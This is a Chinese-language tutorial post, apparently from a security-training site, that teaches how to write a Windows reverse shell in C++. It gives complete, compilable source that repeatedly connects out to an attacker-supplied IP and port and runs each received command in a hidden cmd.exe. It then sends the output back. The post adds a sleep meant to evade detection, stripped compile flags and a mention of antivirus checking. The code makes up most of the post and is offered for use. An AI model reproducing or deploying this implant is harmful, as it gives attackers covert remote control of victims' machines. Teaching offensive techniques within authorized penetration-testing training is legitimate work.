经验总结
渗透不会反弹shell?来教你写一个cmd的shell
2020-02-20 10:45

渗透不会反弹shell?来教你写一个cmd的shell

包含的库:

#include <winsock2.h>

#include <windows.h>

#include <ws2tcpip.h>

#include <iostream>

#include <string>

#pragma comment(lib, "Ws2_32.lib")

#define DEFAULT_BUFLEN 1024

winsock2和ws2tcpip两个库文件是用来初始化网络套接字的。windows用来初始化一些windows下的函数,string方便我们后面的一些字符串转换,iostream则是标准的c++头文件,#pragma comment(lib,“Ws2_32.lib”)用来指定编译器使用静态编译该库文件,防止其他环境下无法正常运行我们的文件。1024为给socket的recv和send函数定义缓冲区长度。

我们定义一个函数和一个主函数,反向shell的函数RunShell,两个参数,一个是我们的host一个是ip

int RunShell(char *host, int port){

int main(int argc, char** argv) {


}


其中的argc为调用的参数的个数,argv为具体的值。这里稍微要注意一下,在接受参数的时候,默认的第一个参数是文件的路径名,所以,我们在接下来的传参的过程中,需要将argv[1]、argv[2]传递给我们的RunShell。

下面我们来编写我们的RunShell函数,为了避免中间有断开之类的情况,我们使用一个while循环进行一直监听,然后监听之前进行一些休眠,可以绕过部分检测,代码如下:

while (true)

  {

    Sleep(5000);//进行休眠,可过一些检测

    SOCKET ShellSock;

    sockaddr_in C2addr;//定义sock初始化需要的变量

    WSADATA Sockver = { 0 };//定义并初始化一个LPWSADATA的指针

    WSAStartup(MAKEWORD(2, 2), &Sockver);//初始化socket

    ShellSock = socket(

      AF_INET, //地址描述

      SOCK_STREAM, //套接字类型

      IPPROTO_TCP //协议类型

    );

    C2addr.sin_family = AF_INET;

    C2addr.sin_addr.S_un.S_addr = inet_addr(host);//转化Ip地址

    C2addr.sin_port = htons(port);//转换端口

    if (WSAConnect(ShellSock, (SOCKADDR*)&C2addr, sizeof(C2addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {

      closesocket(ShellSock);

      WSACleanup();//关闭套接字

      continue;

    } //连接目标


  }

基本上都已经给出来了注释,都是windows的api,具体的作用就是用来声明一个socket套接字,然后跟目标进行连接,如果失败,则跳出本次循环,继续发出请求。

具体的用法,可以查看微软官方的文档:

https://docs.microsoft.com/zh-cn/windows/win32/api/winsock2/nf-winsock2-wsaconnect

我们继续,接下来我们来编写我们的接收函数,并进行处理。

    char RecvData[DEFAULT_BUFLEN];

      memset(RecvData, 0, sizeof(RecvData));//将RecvData清0

      int RecvCode = recv(ShellSock, RecvData, DEFAULT_BUFLEN, 0);//接收数据

      if (RecvCode<=0) {

        closesocket(ShellSock);

        WSACleanup();

        continue;

      }

然后我们定义一个数组来存放我们接收的数据,并使用memset将其清0,保证数据的准确性,因为recv如果错误的返回值是0或者负数,所以我们进行一个简单的判断,小于等于0时做跟前面相同的操作。

具体函数的用法参考:

https://docs.microsoft.com/zh-cn/windows/win32/api/winsock/nf-winsock-recv

假如此时我们已经跟主机建立了连接,也成功接受到了数据,我们就应该将我们接收到的数据进行执行,并但返回给我们的主机。

主要思路就是调用CreateProcessA函数函数,去处理我们接收的值,然后启动一个cmd进程处理并返回。

我们先来看一下CreateProcessA的用法:

BOOL CreateProcessA(

  LPCSTR                lpApplicationName,

  LPSTR                 lpCommandLine,

  LPSECURITY_ATTRIBUTES lpProcessAttributes,

  LPSECURITY_ATTRIBUTES lpThreadAttributes,

  BOOL                  bInheritHandles,

  DWORD                 dwCreationFlags,

  LPVOID                lpEnvironment,

  LPCSTR                lpCurrentDirectory,

  LPSTARTUPINFOA        lpStartupInfo,

  LPPROCESS_INFORMATION lpProcessInformation

);

其他的都好说,主要是后两个参数,STARTUPINFOA 和PROCESS_INFORMATION的指针,他们的定义为:

typedef struct _PROCESS_INFORMATION {

  HANDLE hProcess;

  HANDLE hThread;

  DWORD  dwProcessId;

  DWORD  dwThreadId;

} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;


typedef struct _STARTUPINFOA {

  DWORD  cb;

  LPSTR  lpReserved;

  LPSTR  lpDesktop;

  LPSTR  lpTitle;

  DWORD  dwX;

  DWORD  dwY;

  DWORD  dwXSize;

  DWORD  dwYSize;

  DWORD  dwXCountChars;

  DWORD  dwYCountChars;

  DWORD  dwFillAttribute;

  DWORD  dwFlags;

  WORD   wShowWindow;

  WORD   cbReserved2;

  LPBYTE lpReserved2;

  HANDLE hStdInput;

  HANDLE hStdOutput;

  HANDLE hStdError;

} STARTUPINFOA, *LPSTARTUPINFOA;

既然需要我们就定义这样的两个指针,然后再来调用我们的函数。

除了这些之外,我们还需要一个管道来获取命令执行后的值。

BOOL WINAPI CreatePipe( 

      _Out_PHANDLE hReadPipe, 

      _Out_PHANDLE hWritePipe, 

      _In_opt_LPSECURITY_ATTRIBUTES lpPipeAttributes,

      _In_DWORD nSize

 );

  HANDLE hReadPipe = NULL;

        HANDLE hWritePipe = NULL;

        SECURITY_ATTRIBUTES securityAttributes = { 0 };

        BOOL bRet = FALSE;

        STARTUPINFO si = { 0 };

        char command[] = "cmd.exe /c ";

        PROCESS_INFORMATION pi = { 0 };

        char pszResultBuffer[DEFAULT_BUFLEN];

        // 设定管道的安全属性

        securityAttributes.bInheritHandle = TRUE;

        securityAttributes.nLength = sizeof(securityAttributes);

        securityAttributes.lpSecurityDescriptor = NULL;

        // 创建匿名管道

        bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);

        // 设置新进程参数

        si.cb = sizeof(si);

        si.hStdError = hWritePipe;

        si.hStdOutput = hWritePipe;

        si.wShowWindow = SW_HIDE;

        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

        // 创建新进程执行命令, 将执行结果写入匿名管道中

        strcat(command, RecvData);

        bRet = ::CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);


        // 等待命令执行结束

        ::WaitForSingleObject(pi.hThread, INFINITE);

        ::WaitForSingleObject(pi.hProcess, INFINITE);

        // 从匿名管道中读取结果到输出缓冲区

        memset(pszResultBuffer, 0, sizeof(pszResultBuffer));

        ::ReadFile(hReadPipe, pszResultBuffer, DEFAULT_BUFLEN, NULL, NULL);

        // 关闭句柄, 释放内存

        ::CloseHandle(pi.hThread);

        ::CloseHandle(pi.hProcess);

        ::CloseHandle(hWritePipe);

        ::CloseHandle(hReadPipe);

        send(ShellSock, pszResultBuffer, DEFAULT_BUFLEN, 0);

大体的流程就是初始化匿名管道的安全属性结构体SECURITY_ATTRIBUTES调用函数 CreatePipe 创建匿名管道,获取管道数据读取句柄和管道数据写入句柄对即将创建的进程结构体STARTUPINFO进行初始化,设置进程窗口隐藏,并把上面管道数据写入句柄赋值给新进程控制台窗口的缓存句柄,这样,新进程会把窗口缓存的输出数据写入到匿名管道中开始调用 CreateProcess 函数创建新进程,执行 CMD 命令,并调用函数 WaitForSingleObject 等待命令执行完毕,命令执行完毕后,便调用 ReadFile 函数根据匿名管道的数据读取句柄从匿名管道的缓冲区中读取缓冲区的数据,这个数据就是新进程执行命令返回的结果数据,然后将得到的数据发送给我们的服务端。

 详细的函数说明如下:

https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information

最后的代码如下:

#include <winsock2.h>

#include <windows.h>

#include <ws2tcpip.h>

#include <iostream>

#include <string>

#pragma comment(lib, "Ws2_32.lib")

#define DEFAULT_BUFLEN 1024

using namespace std;

int RunShell(char *host, int port)

{

  while (true)

  {

    Sleep(5000);

    SOCKET ShellSock;

    sockaddr_in C2addr;

    WSADATA Sockver = { 0 };

    WSAStartup(MAKEWORD(2, 2), &Sockver);

    ShellSock = socket(

      AF_INET, 

      SOCK_STREAM, 

      IPPROTO_TCP 

    );

    C2addr.sin_family = AF_INET;

    C2addr.sin_addr.S_un.S_addr = inet_addr(host);

    C2addr.sin_port = htons(port);

    if (WSAConnect(ShellSock, (SOCKADDR*)&C2addr, sizeof(C2addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {

      closesocket(ShellSock);

      WSACleanup();

      continue;

    }

    else

    {

      char RecvData[DEFAULT_BUFLEN];

      memset(RecvData, 0, sizeof(RecvData));

      int RecvCode = recv(ShellSock, RecvData, DEFAULT_BUFLEN, 0);

      if (RecvCode<=0) {

        closesocket(ShellSock);

        WSACleanup();

        continue;

      }

      else

      {

        HANDLE hReadPipe = NULL;

        HANDLE hWritePipe = NULL;

        SECURITY_ATTRIBUTES securityAttributes = { 0 };

        BOOL bRet = FALSE;

        STARTUPINFO si = { 0 };

        char command[] = "cmd.exe /c ";

        PROCESS_INFORMATION pi = { 0 };

        char pszResultBuffer[DEFAULT_BUFLEN];

        securityAttributes.bInheritHandle = TRUE;

        securityAttributes.nLength = sizeof(securityAttributes);

        securityAttributes.lpSecurityDescriptor = NULL;

        bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);

        si.cb = sizeof(si);

        si.hStdError = hWritePipe;

        si.hStdOutput = hWritePipe;

        si.wShowWindow = SW_HIDE;

        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

        strcat(command, RecvData);

        bRet = ::CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

        ::WaitForSingleObject(pi.hThread, INFINITE);

        ::WaitForSingleObject(pi.hProcess, INFINITE);

        memset(pszResultBuffer, 0, sizeof(pszResultBuffer));

        ::ReadFile(hReadPipe, pszResultBuffer, DEFAULT_BUFLEN, NULL, NULL);

        ::CloseHandle(pi.hThread);

        ::CloseHandle(pi.hProcess);

        ::CloseHandle(hWritePipe);

        ::CloseHandle(hReadPipe);

        send(ShellSock, pszResultBuffer, DEFAULT_BUFLEN, 0);

      }

    }


  }

}


int main(int argc, char** argv) {

  int port = atoi(argv[2]);

  RunShell(argv[1],port);

}


使用下面的方式编译:

i686-w64-mingw32-g++ 2.cpp -o 2.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

执行效果如下:

1.jpg

2.jpg

vt检测:

3.jpg

参考文章:

https://scriptdotsh.com/index.php/2018/09/04/malware-on-steroids-part-1-simple-cmd-reverse-shell/

https://www.codeleading.com/article/1126284392/


在渗透测试过程中,经常会用到反弹shell,学习本实验《反弹shell的N种姿势》,了解反弹shell的概念和原理,掌握各种反弹shell的实现技术和方法。点击链接开始学习。

上一篇:改造冰蝎对抗waf&OpenRASP计划-初探
下一篇:文件描述符终极使用
版权所有 合天智汇信息技术有限公司 2013-2021 湘ICP备14001562号-6
Copyright © 2013-2020 Heetian Corporation, All rights reserved
4006-123-731